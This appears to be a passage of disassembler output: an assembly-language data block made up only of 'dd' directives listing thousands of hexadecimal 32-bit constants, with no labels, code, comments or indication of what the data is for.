		dd 58DC747Ah, 0B9E8B586h, 0A18400A0h, 1395E0E1h, 0B13A6EC6h
		dd 7D6080A2h, 6211588Eh, 4C4300DBh, 4BCCFCEEh, 6F002B79h
		dd 0E3DD3DFh, 0DCEB67C7h, 0D8BCC0A8h, 3B72429Eh, 5C379C0Ch
		dd 14AA71F8h, 80EF55A2h
		dd 30C66F7Bh, 11174B80h, 0FE1E9CF0h, 0B500C2D9h, 0BD1C3355h
		dd 0CE597D0Fh, 0D480C729h, 7A3A3C93h, 0CCC48205h, 28C0CEF2h
		dd 83FDEh, 58528B09h, 3BCDE09Fh, 74968700h, 5F9C3E2Dh
		dd 0B6F5006Bh, 0BEAD5420h, 0F4007CAAh, 566DE6C2h, 0F1610CAh
		dd 0BC5AD132h, 1C02A241h, 0B843DC71h, 0D7F14500h, 0B4BBD639h
		dd 782F1832h, 43EF3973h, 61AE8401h, 0BD7722EBh,	48ADF0h
		dd 1F3B53D6h, 0CA95FB37h, 7F098FF8h, 87202B5Dh,	3EE7FFFEh
		dd 0E0764022h, 3082A6F8h, 5640E19Fh, 0E901A019h, 0CF2242Dh
		dd 3841C091h, 0EAE4FAF3h, 8EF024F9h, 14BD0026h,	0DB22622h
		dd 3D339E01h, 630B16D7h, 7093E8h, 1D50B5AAh, 0FCA807ABh
		dd 48B1BD00h, 0A3B65B16h, 23030190h, 8A2B5993h,	80F9F88Bh
		dd 3D4B0B18h, 6760EA0h,	84E275Ch, 0CE4303Ah, 5BA9C460h
		dd 7863B10Fh, 1A890CBh,	8175DFD2h, 0D46F741Eh, 86004FE8h
		dd 3C9FB80h, 5C1FE0h, 34C8321Bh, 7D7A2E65h, 41B9A701h
		dd 0BB04C58Ch, 756AD0h,	6BC1DF0Eh, 78444746h, 2CEAD101h
		dd 88A6A5C5h, 78DDAFF4h, 48E6ECB3h, 81F1D2Ah, 5638C0C2h
		dd 281C9B96h, 260F8A00h, 0B617522h, 0CA790669h,	4089C6D5h
		dd 7FAD2700h, 0CD327D88h, 2231E07h, 290300D8h, 22699CC5h
		dd 0C83AC903h, 0A005DF61h, 1CE87839h, 800BEF47h, 0A70E8A25h
		dd 5F00449Dh, 0A16D5B9Fh, 1712165h, 6ABBF120h, 45FFBD45h
		dd 93FB8084h, 2600EB18h, 4AB9A25Ah, 0CD7E95h, 8E31D772h
		dd 0CBD1848Bh, 79DADC1Dh, 0A74C8701h, 0F6D0882Ah, 0E060004Eh
		dd 78B4E211h, 6303EFD6h, 20CBF373h, 0DFFCF0B3h,	0BAF5064Bh
		dd 40B8DA0Bh, 0C5A5F600h, 3DD18177h, 305D6F6Ah,	8290C80h
		dd 0A1F202Ah, 3A76F4h, 7E1A02C0h, 1873CE6Fh, 38DED691h
		dd 0A23AD734h, 0EB43E76h, 0A588770h, 21DC2CA6h,	43EE5636h
		dd 3CC4308Ah, 75C0C0F9h, 8336770Ch, 64710CAh, 0CC724107h
		dd 103021C9h, 16CB0889h, 0FAA20313h, 0CCD4BCAh,	6B002177h
		dd 1B344EEh, 340930h, 3D0DA10Fh, 0F533E0B4h, 69CBDA07h
		dd 41904DB7h, 7C8070h, 47667FC8h, 48B3AB4Ah, 0EE80F561h
		dd 2453C13Ch, 0B43EB8CEh, 191B86Fh, 0DC54B66Ch,	41F7D636h
		dd 8086A488h, 0F61079B9h, 1EF1F4A9h, 406C952Ch,	8DFD7FEBh
		dd 67005872h, 0DB78BB29h, 26E30214h, 0FB29B08h,	0C863F1C2h
		dd 4800C522h, 0A91DBCC4h, 0E62A7A38h, 11F81Bh, 0DC22D4B3h
		dd 0FCA1837Fh, 0A258557Ah, 391B308Dh, 0F466D09h, 0CA12476Ch
		dd 130E7800h, 50E3BB6Bh, 0B732A894h, 9634801h, 0AFDAA90Bh
		dd 0ECCC8121h, 0B838002Eh, 4D9ADDDBh, 209E97Bh,	0C3BB5E6h
		dd 1629416Fh, 5CC734h, 759A9EEFh, 8807EBD6h, 62AB452h
		dd 5C6F9F30h, 74A44866h, 0E45E7006h, 0D7012087h, 0F0F8CBA5h
		dd 64201904h, 4109014Ah, 0B453C203h, 3FA840C9h,	0BA1FF6B6h
		dd 0AC684E9Eh, 0BF294600h, 99B94353h, 244100F3h, 2C9A2F62h
		dd 6A00ED56h, 78F02A70h, 5834A53Ah, 72007D4Ch, 0D1C40DA6h
		dd 75757EB2h, 5DCFA000h, 0D644434Bh, 0B8F0ACh, 0DAC5DF08h
		dd 0F4220AD4h, 96B14C00h, 0A744ED3Fh, 4DC09D76h, 0E4E0F852h
		dd 0F216C300h, 27438B6Fh, 517B00ABh, 0A83C33A5h, 950054A9h
		dd 7868E7BDh, 0B27BED0h, 9E9C6276h, 0F8B8CA00h,	0C0002F56h
		dd 3FA4162Ah, 7E313E8Ch, 0A0F400C3h, 0DDBA6F29h, 420ED3B6h
		dd 0C0F6E8ACh, 0DA902787h, 0BC300D0h, 23AF8906h, 7F00B9D8h
		dd 0F67282CFh, 0EC6DB05Dh, 0FDFB00A9h, 0A7FC6B74h, 0DF000A67h
		dd 91C0368Dh, 65372Ah, 0F903A2A9h, 1530FC4Fh, 0D39BB00h
		dd 50A8CDA5h, 81531E02h, 883D989Bh, 6F00E822h, 49A72841h
		dd 397F898h, 178D589Fh,	4801EEB1h, 45E33C57h, 1080675Fh
		dd 9A6001A2h, 737F3E2Bh, 3FD4D101h, 0A4D08CB8h,	7BE3A850h
		dd 8523011Ah, 0A7E29CEFh, 5A15FC57h, 30BE6000h,	11A4B896h
		dd 0F44E00C1h, 9E4FF85Eh, 0F9C00C22h, 0D2061BE0h, 41660072h
		dd 4C473088h, 9801D311h, 0EBDAED45h, 8481E6B7h,	0FD5E133h
		dd 1F8FE810h, 50D94830h, 0F5643Fh, 2F9F1E74h, 172C7A35h
		dd 65E9FC00h, 0DBC01D7Eh, 0A89C004Ah, 8BA9CD72h, 0B006FB6h
		dd 4FEEF33Dh, 77668D6h,	4DF6FDAAh, 0D9E1A00Ch, 0D3001D2Ch
		dd 0F1559CDCh, 3EFACDEh, 6F66FB69h, 73E827ABh, 5711D32h
		dd 0BFB60F00h, 0A6915DB5h, 0E32800E6h, 813068C3h, 0C4FA6346h
		dd 888D5128h, 5CF41219h, 2CE08299h, 0D97C3833h,	94E3C600h
		dd 14A00B3Dh, 0C2673F00h, 0BE81E086h, 0CB25009Ah, 985ACFFBh
		dd 2701C63Ah, 888D6BE5h, 5BFC131Ah, 2C260091h, 0FB427950h
		dd 5D1DB759h, 44806371h, 0C337223Eh, 90A40023h,	799F6F02h
		dd 2907127Fh, 92DD6507h, 1FB95380h, 49A500F0h, 6BD4D5E5h
		dd 0D7015FFEh, 24942773h, 69FCBF07h, 4C1C0047h,	967BCD97h
		dd 9300954Fh, 54632F11h, 0DAF116h, 0F98FB483h, 6EB3875Ch
		dd 0F5753F0Ah, 9D3F90F2h, 7C8144ECh, 0E498653Bh, 0B8256EE4h
		dd 0A3C300DDh, 0E9D7CC3Fh, 7D7434C2h, 6AFD400h,	7F196FB8h
		dd 0D5260F58h, 0DCC1B28Eh, 0D46E6C0Fh, 0E701B9A0h, 9EEFBCB1h
		dd 0A961E01Ah, 41FADE8h, 0E26B2B80h, 6DAC8006h,	8D03430Ch
		dd 9D64444Dh, 9E3EF0EFh, 0CAC501A0h, 953FEE12h,	0A8016021h
		dd 8E0CC200h, 8A3ED746h, 14C0067h, 212AE223h, 2900AD14h
		dd 0CD3B498Ch, 0E93E13h, 5D010A5Ch, 7DB064E4h, 0AB7B9700h
		dd 0B6FBE0E1h, 583BE650h, 61008875h, 0E533E73Fh, 0EA003CF3h
		dd 0BC8EB82Dh, 171FE11h, 4E99AB4Dh, 30157BF6h, 7C1E586Fh
		dd 0E8C0D222h, 2A8B3D75h, 9D98023Ch, 0D78884C2h, 4D569481h
		dd 2959DC22h, 0E708EF0Fh, 3777207Fh, 75A4E49Eh,	0DD1D0140h
		dd 265ABA0Fh, 94F8F0C5h, 3F1E950Fh, 0F990803Ah,	7BD5CD6h
		dd 0F013AD08h, 0A0A02F83h, 26E0FC82h, 574C9E00h, 5A5C0B4Ah
		dd 0EC9D05F8h, 80CF2F25h, 0D1179587h, 82161500h, 0EDAA81E5h
		dd 0C2FF00D6h, 647CD929h, 0A60797E1h, 0FD6A51EBh, 990F8339h
		dd 0FCC000C8h, 9C36229Fh, 7401C318h, 0AD16915Ch, 0AFE5CB06h
		dd 9D321083h, 0E2CB7052h, 1E72FC88h, 0CA1CF900h, 0DDEE18F4h
		dd 6E2C1E0Eh, 90EDC04Ch, 9159DF24h, 4F0541FCh, 4E0BEF2Bh
		dd 555DEBC0h, 0EE07126Ah, 7C340080h, 0F803F5B4h, 0F0EFD801h
		dd 36AA04DAh, 54B9BCCh,	56E36722h, 0D6A0001Eh, 0C2BC189Dh
		dd 1658A903h, 0C087D0FFh, 3B8B22h, 441D145Dh, 0DD6AB804h
		dd 0A992F400h, 318EBF80h, 49AF081h, 0E7DC61D3h,	621C8045h
		dd 6B0023DDh, 909110B4h, 3CCE05h, 3B4EA79Ch, 383F3904h
		dd 6799AE00h, 77727611h, 319F2A4h, 9E04DCCAh, 0CFC01F5Ch
		dd 0AC71F742h, 570008E0h, 0C2AD3FECh, 9E3DDEDh,	0A54D963Bh
		dd 39622F00h, 7F12FC9Ch, 0D400B0BBh, 2485A4DFh,	16CA48C1h
		dd 215CD400h, 0FEF61177h, 0A8289503h, 0D82E0247h, 315C262h
		dd 14FFF73h, 0DF98806Dh, 70FFA5D0h, 38FAD50Dh, 0FE0B2F00h
		dd 0E18D5593h, 342D07A0h, 3A7771h, 1AA6A458h, 0F784B41Ch
		dd 3F9AD100h, 6FF856h, 0CA81594Ah, 190CFFB9h, 5B46F600h
		dd 45384029h, 31112460h, 0E6EE0047h, 5456C73Fh,	0D77AF600h
		dd 454C63EBh, 2BB700F4h, 6C91CEE5h, 0EC00939Eh,	5960DC6Bh
		dd 0A3B5F1h, 1A15E7FEh,	0F8E0D0BBh, 378340FBh, 0B600AF5Eh
		dd 0DA9D6B0Dh, 5527E7h,	433FEF76h, 0C82CE6C2h, 3D5D3707h
		dd 0C7812034h, 1EC06E4h
		dd 18A03BB6h, 17274780h, 0F44B0BCAh, 1E35EE07h,	0E38050EAh
		dd 0F80A1BD9h, 0CDBE0714h, 8080AF03h, 0ADCEE987h, 0B70F35E2h
		dd 0E0FB462Dh, 0F1266E83h, 32C4005Eh, 610106D7h, 0C900FF1Dh
		dd 126F19F5h, 3F9C52h, 0EE5A62FBh, 459E5887h, 2466C258h
		dd 0AC289CCDh, 5400E876h, 3AFC20FFh, 48D866B3h,	430218E5h
		dd 0C23110A8h, 81D39140h, 5300BF7Bh, 0DABB751Ch, 0F6AA9E6h
		dd 11A0F9Dh, 9894DFE0h,	7A7954D1h, 41872500h, 9C4D58C9h
		dd 0E88D006Eh, 246CB8D4h, 333AA62Bh, 82BE124Ch,	409EB00Fh
		dd 5B1459C6h, 0F45802BBh, 0C14BDFC5h, 0CCC338C1h, 950041F1h
		dd 5B1B592Ah, 0BAC0811h, 5598C13Eh, 8CF35A80h, 1F00EE3Fh
		dd 0FE6FC80Fh, 5BC732Fh, 694F0D7Dh, 57189013h, 0F900F024h
		dd 0AE102579h, 31D5E8h,	7B0958BAh, 74F250CBh, 239B7F00h
		dd 4C1F91EFh, 54BF51CFh, 0C059C4D4h, 7BAEBBA0h,	6300A05Ch
		dd 0F01214F1h, 0D66679h, 9CB49AE8h, 6202A93h, 6E8FFD00h
		dd 83F12958h, 380D00C4h, 36D011EBh, 9DF6B943h, 91974503h
		dd 0D0696422h, 51EC529h, 0F5779E5Eh, 5FD400D5h,	55EEEB1Bh
		dd 0BB0012F6h, 14E33C2h, 0F68BFEFAh, 82740781h,	504B13A6h
		dd 3EECD7B2h, 0A2F91664h, 43B55FC0h, 15140E91h,	0D0C075C5h
		dd 66A34C53h, 2B954500h, 8CF6F12Fh, 16AF03A4h, 61E473DFh
		dd 2260E7CAh, 0E80101AAh, 2CDC6AEAh, 7DE4A349h,	0B51D0F0Bh
		dd 0B620EC58h, 0E7BD8785h, 0F503BC00h, 0CF6D7ABEh, 75C606C4h
		dd 711ACEA3h, 7FDDCB58h, 360C077Ah, 18DE0A19h, 1549002Dh
		dd 0EFF5E4E7h, 100092F7h, 0FB6F48FAh, 0C08D5ABh, 0C9E8777Ah
		dd 4B90ED50h, 0F0463A00h, 87FEA254h, 73740039h,	0C411A61Ch
		dd 0DF0612E2h, 0A123D1DCh, 74B21861h, 7E1940C7h, 0E4050198h
		dd 770CDEADh, 0F1D61781h, 0C6B2E08Ch, 57C52B9h,	0C81D9138h
		dd 1CD213B1h, 5FF8F100h, 7794CDh, 307DABE6h, 0D889646Fh
		dd 0F6666100h, 0A3565DC8h, 0B4430053h, 0E61A5723h, 0A400A713h
		dd 0B8513DDCh, 0F5B5ACh, 0C5E7C28Fh, 169B4F01h,	1B8D7500h
		dd 0C9252B68h, 0DFDE4831h, 6636C500h, 0B033ECC1h, 82A8644Eh
		dd 4C3C0400h, 0C39E393Fh, 77114B0Eh, 0F21A6079h, 628B90h
		dd 22EEBDB4h, 0D58E32ECh, 2C1C01Dh, 534003Dh, 0EA3F6DC7h
		dd 10B61E31h, 4E3C8065h, 6C968E86h, 21CD3200h, 0A78B2D7Fh
		dd 88CA0393h, 0E8568418h, 0D8D195A1h, 6D00AC57h, 0E7E6C08h
		dd 38D86755h, 7B80653Dh, 0F5E6669h, 0A607CA8Ah,	9D500CA3h
		dd 0F16DBF70h, 0DAB0006Bh, 0CA722FC3h, 0DD00E121h, 0B6323E44h
		dd 8AD56h, 781CEC5Ah, 4F57E2BBh, 14EECA01h, 0D7FB4AA5h
		dd 7248CF0h, 73F81DDCh,	64B9400Ch, 0D000C776h, 13BE440h
		dd 7B4EE921h, 0BBDE0089h, 6ED25EB2h, 0BD00EA0Bh, 72F2A729h
		dd 16BAAC8Ah, 1103D9h, 0E242E6A6h, 1A007064h, 0AD54D08Bh
		dd 1790F815h, 0E5A431h,	1EF245Dh, 58009807h, 921E949Ch
		dd 75B780Dh, 2036A8C0h,	7F0FF333h, 0B5AD80EDh, 59009E1Dh
		dd 9509C8A3h, 9A2D7Ch, 708EC961h, 6E6FFD2Eh, 2182A800h
		dd 0F542676Bh, 0C9893E94h, 3D684580h, 0AF47E943h, 870084FEh
		dd 58C704F0h, 18F7Ch, 99B72088h, 767D6909h, 0DC5B9100h
		dd 39D9561Bh, 0F4B80095h, 0DD6FACB5h, 0B4FE51D8h, 67591200h
		dd 210BC077h, 4FEB005Fh, 0F6BCB8C2h, 750024F4h,	787A5997h
		dd 0C0DA110Dh, 0AEBFD620h, 50EE93F3h, 0D8A0517Bh, 400E58Dh
		dd 2DE06DD3h, 0CAE96Ah,	5D4CCF1Fh, 4D2616F8h, 0B4715428h
		dd 2468B83Fh, 8E004FA1h, 9BEC2766h, 0A5AF073Bh,	0C081F602h
		dd 0B192A398h, 0F3CEF500h, 0AB74B68Fh, 0A7C9008Ch, 53E7992Ch
		dd 0B91E2EE9h, 3A80AAE3h, 4A7CFA29h, 950A0AA9h,	80F4BE82h
		dd 260C211Bh, 0AA887197h, 0F10A67D8h, 0DCE5B088h, 0A077AB46h
		dd 0ED9A850Fh, 48040D5h, 1C3A5D76h, 5CC8F00Ch, 394D0023h
		dd 48A0D50Dh, 0C401C200h, 632F0994h, 0A59A3072h, 260B90F2h
		dd 1DB9D418h, 0D8AB70h,	758302C7h, 0E1DCB553h, 81D44800h
		dd 0E3C8F940h, 0A3EA3C95h, 0CF1B2E1Fh, 6216AF1h, 0DCC5A5A7h
		dd 0B3009DB0h, 0F87A7246h, 8123C6h, 4E91FA6h, 0A79E8C40h
		dd 0F016C500h, 339A34F7h, 7A8A77A3h, 48C800FFh,	32D30ECBh
		dd 0CA00A02Fh, 4CA8575Ah, 141A6h, 9B7BDB90h, 0F6CBD068h
		dd 154A2207h, 0FD80266Ch, 0B3B03Eh, 75869CD1h, 45C2212Dh
		dd 0D99A2B13h, 8BD0DFC0h, 0D324007Dh, 0BB55D6DEh, 0EEEE8153h
		dd 3DBFAF07h, 2428029h,	594C4067h, 0DDAE02D9h, 484590B9h
		dd 0A5ADDD40h, 94CCA201h, 46E43082h, 687D60h, 0D766D669h
		dd 0B0C122C6h, 0C7426D00h, 0F3BD90E0h, 24290010h, 0CF5419E4h
		dd 82392A9Fh, 71B8500Bh, 0DAFA6800h, 455E2E05h,	230C1C8Eh
		dd 0E32A4040h, 0F84E1EDCh, 0ADB03100h, 0E8165DA4h, 1828009Eh
		dd 588D9C37h, 7300D5CFh, 85C77996h, 0BEC46Fh, 86A10334h
		dd 0EA7A4401h, 0DF005F7Ch, 8BE70DE4h, 18770D2h,	0E2B5C828h
		dd 0E0613789h, 0FB00EDFFh, 1D6E78E0h, 95C534Bh,	8DD18034h
		dd 0E40FC82h, 9D00E450h, 63302B71h, 7B48A77h, 93B5ED03h
		dd 0A6B3F0B0h, 7D005687h, 0FD1433F7h, 0F04AFC1Dh, 375EA02h
		dd 0ECD386B9h, 0CED0C69Fh, 30C4A738h, 64C05CEBh, 0D94192h
		dd 28C5BFFBh, 0DD9EDB1Fh, 0B5002490h, 0A37F40A9h, 0BA9F6Eh
		dd 0B61206FEh, 4B3CBF1Dh, 60008774h, 8D99D17Ah,	0F8E9AC9Ah
		dd 0F9E000D3h, 0E610BAFCh, 4C6093AFh, 0AA380920h, 0CF0E0002h
		dd 0C67A6F03h, 76009D5Dh, 202CFE15h, 30541194h,	342A3C89h
		dd 6B00DFEFh, 3D0FDE2Eh, 1A1F39h, 61CD7948h, 0E2FCEA23h
		dd 56C53500h, 0EC805F69h, 84D4075Dh, 9001D62Bh,	9FE3CE55h
		dd 0C71CA6B8h, 9AC26DDCh, 84480312h, 79803AA9h,	73070B2h
		dd 6EFA45B8h, 6423101Ch, 0AA00619Ch, 1F4E7239h,	0FC189C2h
		dd 7D4C2ADBh, 0A4AF20E0h, 8E1F81A6h, 80BFD704h,	0D2DBAE42h
		dd 3B77A3h, 0B2370E9Bh,	0D0CDDC5Ah, 0A79FE0Fh, 0E7246062h
		dd 79A9CD6h, 4E8EF210h,	810460C6h, 97983E6h, 0B21DFC0Fh
		dd 204A8BBEh, 0AA4892D4h, 0AF6900C8h, 5AF13040h, 2DFAEC3Ah
		dd 9964B600h, 20DC2CCCh, 0B49ABCh, 1A3F42FDh, 92AC2397h
		dd 76832639h, 9B3FAAFAh, 0D0700DEh, 0E5D25C51h,	36C20091h
		dd 89616FA8h, 0C500ED56h, 9F8CE62Ch, 85B5A2h, 7E73EC09h
		dd 3A06E81Ch, 0FE5EF107h, 0F28143E0h, 82E03EA2h, 0A9865108h
		dd 1F6993C8h, 5E5AE77Ch, 482040B9h, 911BE50Fh, 0F9210200h
		dd 0BAFEC4AFh, 32CD00C5h, 0D02E3ECCh, 0EF0F3CEEh, 7E36B58Dh
		dd 6BA6E040h, 78498EA8h, 9FB11EFEh, 378F409Ch, 68BAED50h
		dd 0C2C13300h, 0DC5C8C20h, 2F5500F3h, 80628D3Ah, 1B0F18F0h
		dd 5D193490h, 1C13DCC0h, 9AC2F47h, 0B2DFCDD7h, 0DBC3C480h
		dd 4800E6E3h, 58155D9h,	386F3EF3h, 3C00F47Eh, 0A434C70Eh
		dd 86002A8Eh, 43DF104Fh, 2393CFh, 0C9E92E0Dh, 5AB444F6h
		dd 0B9BC51Ch, 0FF18F2C7h, 62982F20h, 210E05Dh, 0CD3F8F6h
		dd 0C8B727h, 0A45D1B34h, 96390000h, 65C21216h, 147C7419h
		dd 1037347Bh, 311251Dh,	0CDC0D768h, 96C1FFA0h, 9462BE03h
		dd 201B9Ch, 0E61DCC28h,	0B4842E5Fh, 6A086060h, 70E0B6B0h
		dd 0D3AF001Ch, 4E6BC4Fh, 0C000E777h, 0B2F933C4h, 3A8D097h
		dd 0A34BCD9Ch, 8DD8B742h, 5D03C925h, 7CD42806h,	2643C19Ah
		dd 600C6DF8h, 0CD8A9838h
		dd 0F6754C62h, 20D5B901h, 0B7E2C03Bh, 0A1CADCh,	8E13F47Bh
		dd 0C4A879C2h, 7228709Ah, 0E6027C1Eh, 247811FEh, 0CC14B017h
		dd 5FE81862h, 5280D016h, 78B0FBF4h, 6A75C00h, 0B2935D97h
		dd 404B0FC1h, 0DA673B46h, 0DF2D6059h, 0E800E660h, 25DB33A9h
		dd 0FF6A9Fh, 222FC820h,	0B9956E93h, 5CBD210Eh, 3F8C800Ch
		dd 3FE4EE1h, 0EA3D849Ch, 0BE9FA081h, 0F48947C0h, 7600B787h
		dd 77A134ABh, 3D9CBB5h,	7139B6CAh, 0C8D874EBh, 94079F0Ah
		dd 0BA8DA45Fh, 3BC88CB6h, 0E607A8FDh, 83C59768h, 0B6EA66F6h
		dd 2B00F864h, 0A19424D0h, 1C97130Ah, 458E0865h,	1FE5B131h
		dd 59660094h, 9A4F17B6h, 0F72FAD07h, 0A19056CFh, 79B7B3h
		dd 0A58B5234h, 0B8159955h, 0D89FE100h, 1DDA9086h, 0B14C3A32h
		dd 0A87D1872h, 0E70A78C8h, 7C8C1124h, 0AB3C8D3Ah, 48F2381Dh
		dd 187E1B50h, 11C11197h, 63078F15h, 185E6189h, 185D3583h
		dd 50CA4E08h, 602407F4h, 1100268Bh, 5B80AD33h, 0CC2150DEh
		dd 6B11875h, 0C8AD11Dh,	6F86B800h, 0A5398EBAh, 2F223A58h
		dd 81CCC924h, 0CD0CE999h, 0A301CCBAh, 5999E761h, 0F7F80367h
		dd 7B710615h, 613A9051h, 52017846h, 9EBA71DEh, 0C0EF0C2Dh
		dd 0DDFBA721h, 0F9001360h, 695A120Ch, 500BC771h, 0EE054h
		dd 0BDFC61D7h, 1362F093h, 0EC0163E6h, 8CBAD489h, 80E07446h
		dd 0A2B20004h, 20141E2Eh, 0F800ABF6h, 67762BE4h, 0F645EE2Fh
		dd 0F7A6006Bh, 0C722A314h, 3900BCEAh, 0A29DB959h, 0F45828D5h
		dd 0A9E1005Ah, 207CB7AEh, 3700B61Eh, 683CCFFFh,	7A2DC90Dh
		dd 0E5850344h, 0F5ED4F81h, 0BDBF47E0h, 0A088DF00h, 4D8DC3E3h
		dd 0C13A019Ch, 4FA5DB5Ah, 76FCEC19h, 894A5Ch, 78AE295Bh
		dd 127EA9E3h, 23C4767h,	0D6F657EFh, 5162CC60h, 31B84A00h
		dd 0D5496B8Ch, 19180043h, 8FBF0BCCh, 4FEAC53h, 15DAEF00h
		dd 528CA750h, 0C3680084h, 4ED3F4B0h, 0CD0005F3h, 0FEC76436h
		dd 248C99BEh, 0ECB96h, 569FB7D3h, 9E07A23Ch, 636E1961h
		dd 0D8EE0F10h, 5285001Fh, 65DE26BFh, 960061EFh,	82E566C7h
		dd 4857BC89h, 1E00454Ch, 5928E442h, 7703FE99h, 667B08D0h
		dd 37D8003Ch, 837ACD98h, 0FD000C50h, 12FA8E1Fh,	0E6F00Eh
		dd 0CEB7824Fh, 0E59989A1h, 0C8131D00h, 0CAAAA909h, 60E4ECh
		dd 18F967F5h, 58341ABCh, 0C9A77A00h, 12256F4h, 53E246Fh
		dd 4C3F0045h, 946784B3h, 64E2A200h, 77DF9221h, 2D3C1CFAh
		dd 0F240CFE8h, 737A1500h, 6D7D4EF3h, 21835A18h,	66F9B4h
		dd 0F29D7F39h, 0E4D7F52Eh, 4AF894A0h, 0BB2F2D00h, 394B41D6h
		dd 7DF23EDFh, 0B5D8118Ch, 1004F11h, 5F8ACB37h, 0C030ED36h
		dd 0E92D2219h, 0AC0084A1h, 918A068Ch, 76E4045h,	4C12DA0Ch
		dd 7674822Fh, 1A601CC0h, 80848739h, 0C0AB378h, 0F1E2415h
		dd 0FAF75BF5h, 0B72EFF20h, 69006533h, 6D89B5B0h, 608CDCFEh
		dd 94B4703Bh, 2A01EC15h, 55BA0FD4h, 0BC50020Ch,	833B5h
		dd 225A2D0Eh, 0FFE24FC0h, 0DD0F697Dh, 3E9F7Ch, 0C38C3234h
		dd 0DC4009Eh, 0B4E95DB5h, 945CBA72h, 0EC681DF5h, 8CD6DA00h
		dd 0A0BCC6h, 7B122FA9h,	0B6297887h, 7C0A8F00h, 3A921F04h
		dd 0BDA7A2Ch, 0BEE7E8F2h, 0CCB79000h, 9A0253A2h, 13CF1F81h
		dd 488E8093h, 3C2F74FCh, 0F480F23Dh, 5615085Ch,	7C0186B4h
		dd 6C9EA1CBh, 0FBEBBFE8h, 806EEF10h, 5847362Eh,	0AFD500BBh
		dd 0B08EBD03h, 59FC40CAh, 0D1438804h, 0B08041E6h, 3D0EF46h
		dd 1F2E1DDh, 0AEA08FCBh, 0B3005C76h, 5E793A35h,	420474h
		dd 0C0FD2E87h, 0A39027AFh, 4F008AFEh, 97E14580h, 1F41B805h
		dd 39B1A43h, 0D026D5EDh, 0F4D7C3B0h, 111CF901h,	0AB021FBCh
		dd 2F8CF60h, 0CDFAF182h, 0D89CBA5Eh, 65BF8700h,	0A5D208CFh
		dd 0CAEF007Fh, 805B24ABh, 7500443Bh, 9915840Fh,	12D5A727h
		dd 0E9E088h, 0FCF27F90h, 6C09C99Bh, 69A563h, 75A21BB8h
		dd 0A16B0010h, 58F2E02Fh, 0E91FAEF8h, 6F431F0Bh, 0FB686450h
		dd 0D7ECD1B9h, 352720h,	4732E4FBh, 779D3F45h, 9407D0F0h
		dd 0DA6DD09h, 0F7261C0h, 15AF0068h, 2F15AA7h, 0F500DA04h
		dd 35BBDED3h, 0CA6A22h,	0F6706603h, 0EDC915D0h,	123D5E1Ch
		dd 4800783Bh, 938C07BEh, 5C143FCCh, 0DA1D0429h,	887A0052h
		dd 3D4486A4h, 9B009EECh, 3671FE20h, 4C79CAh, 0DF14401Ah
		dd 0F76DBBACh, 39B02C0Eh, 5F033DBCh, 80FB0A20h,	0C1BF93h
		dd 1EAD2305h, 4E975E1Dh, 4CA90805h, 9C05EDBAh, 0C42C6C0Bh
		dd 1EB30340h, 3075D34Eh, 0C47E3CC0h, 0D45E112h,	6FE08C00h
		dd 3E7A51h, 0C09BDCEh, 73FCCD48h, 0D8F11F05h, 0A1C0DAABh
		dd 184577h, 9D3FED9h, 0F8872F47h, 0DF2BE600h, 98928C4Eh
		dd 33353DFFh, 29F3A300h, 70A7A002h, 7975DB00h, 433C0B42h
		dd 0BC8A015Fh, 295986Fh, 0BCE06BF1h, 24B5F88Ch,	3C23E4h
		dd 73C397Fh, 870A5793h,	97C9ADAFh, 0C674BB00h, 0E2E086CBh
		dd 72AB0669h, 0F07898C0h, 3808FD01h, 0E850094Fh, 26A346C8h
		dd 114297Bh, 5B69EC53h,	878277Fh, 608B592Ah, 24A3505Dh
		dd 9038C01h, 2C055A79h,	157C34h, 97C484F5h, 0D79F22A2h
		dd 4A38890Ah, 0CB00BF0Eh, 1F05D469h, 420F0017h,	7B20D0CCh
		dd 4F07A1DCh, 3E64DE9Fh, 37697EE0h, 0EC431818h,	977D3A80h
		dd 88A18300h, 0C2C79011h, 56DC00BFh, 4A6BABA6h,	8891D14Dh
		dd 885823E3h, 306A00Bh,	7D77B074h, 9E00F5D4h, 0FFB284F4h
		dd 48ADB79Eh, 0D7807C76h, 3E305799h, 0DB31142Ch, 0ACB01D02h
		dd 703C60A0h, 636B00B1h, 3027CAF6h, 5F00D5D0h, 0AA8BEEA8h
		dd 29CCFEh, 9DD288ABh, 3795BF55h, 63326D00h, 0CD302A45h
		dd 0FB7F89h, 9A045234h,	5BD0BB4h, 0C1E9A916h, 0D73E8040h
		dd 4ED837h, 29875233h, 2EEFB99Dh, 39F36701h, 2109C0DDh
		dd 496F3330h, 8E0420CBh, 8007D699h, 0D8EF184Fh,	0EC6BFF00h
		dd 90EEF313h, 0DF350052h, 0F1316779h, 0F877777Fh, 0E2CB0507h
		dd 52B5C25Ch, 92EC65C0h, 2AD20068h, 4016BDE6h, 707B1545h
		dd 756E8900h, 9AC302E4h, 0A79700BBh, 9B2D8CC0h,	99037764h
		dd 2BFF685Eh, 9A4B9827h, 72EF3C6Bh, 3E0D4E00h, 0E3253879h
		dd 530AADFCh, 0DCD4B3F4h, 0D8F8B700h, 58B945A2h, 0E20B4CF5h
		dd 0E4021BEBh, 5C00EC0h, 41023E5Dh, 58A32AA2h, 0A410E86Ah
		dd 0FEE900C3h, 0A9CDAD22h, 71759B6Bh, 47B46F02h, 4E81CAC5h
		dd 0E0404D68h, 59C95DC2h, 5AB2605Dh, 803C0FE6h,	96EA0795h
		dd 0E33209CCh, 0F5FB6500h, 66E05A15h, 0DA0ADB16h, 1A38D200h
		dd 6CE807h, 0D6B27A8h, 0B517C0F2h, 9C563E24h, 0CF300E05h
		dd 244E1494h, 851804FFh, 0D000CC97h, 68EF40Ah, 16EB6682h
		dd 0B600516Eh, 29AD1A35h, 9320AEDh, 1724AC6Dh, 62E0410h
		dd 0FBA6461Fh, 8D36CC40h, 8C703Fh, 0F5CF724Bh, 0C3EBBD83h
		dd 0CED48928h, 71411600h, 0EE471F5Bh, 378C0086h, 0B2BDD029h
		dd 4800F02Bh, 7FE32E4Bh, 2AF9C7h, 0FF6670C9h, 0F3BCDFBDh
		dd 0F41B6901h, 0AF423ECBh, 7D5B120h, 0AD2A1896h, 0C82720A4h
		dd 0D3003940h, 63D269F7h, 62DC71h, 4FDA57DFh, 0A024E9C2h
		dd 0E13BE00h, 0C9448DD5h, 0B5A80750h, 505C15F4h, 0C54C14ABh
		dd 0EA09661Dh, 0B107CFC2h, 58CCE0DAh, 0C160C0CDh, 4F9D2E3Ah
		dd 789EA31Eh, 6E7F794Fh, 2F5A208Eh, 79E766C2h, 44B26EDh
		dd 7E846350h, 0EF9DBE2Ch, 0CA1CE802h, 1DA04826h, 2CB20083h
		dd 7B424721h, 0E107F266h
